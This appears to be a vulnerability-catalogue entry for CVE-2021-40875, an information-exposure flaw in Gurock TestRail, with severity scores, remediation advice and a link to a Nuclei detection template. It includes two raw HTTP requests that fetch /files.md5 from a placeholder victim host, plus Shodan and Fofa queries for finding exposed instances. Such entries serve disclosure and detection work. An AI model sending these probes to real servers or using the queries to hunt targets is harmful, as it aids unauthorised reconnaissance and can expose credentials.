| Title | Gurock TestRail Application files.md5 Exposure |
|---|---|
| Author | oscarintherocks |
| Severity | High |
| Impact | An attacker could use the exposed files.md5 to gain insight into the application's file structure and potentially identify vulnerabilities or sensitive information. |
| Remediation | Securely restrict access to the files.md5 file and ensure that it is not accessible to unauthorized users. |
| CVSS Score | 7.5 |
| EPSS Score | 0.81108 |
| CVE ID | CVE-2021-40875 |
| CWE ID | CWE-425 |
| Shodan Query | http.html:"TestRail"http.html:"testrail" |
| Fofa Query | body="testrail" |
| Tags | cve2021 cve exposure gurock testrail vkev vuln |
Improper access control in Gurock TestRail versions < 7.2.0.3014 resulted in sensitive information exposure. A threat actor can access the /files.md5 file on the client side of a Gurock TestRail application, disclosing a full list of application files and the corresponding file paths which can then be tested, and in some cases result in the disclosure of hardcoded credentials, API keys, or other sensitive data.
GET /files.md5 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /testrail/files.md5 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40875.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40875.pcap
N/AN/A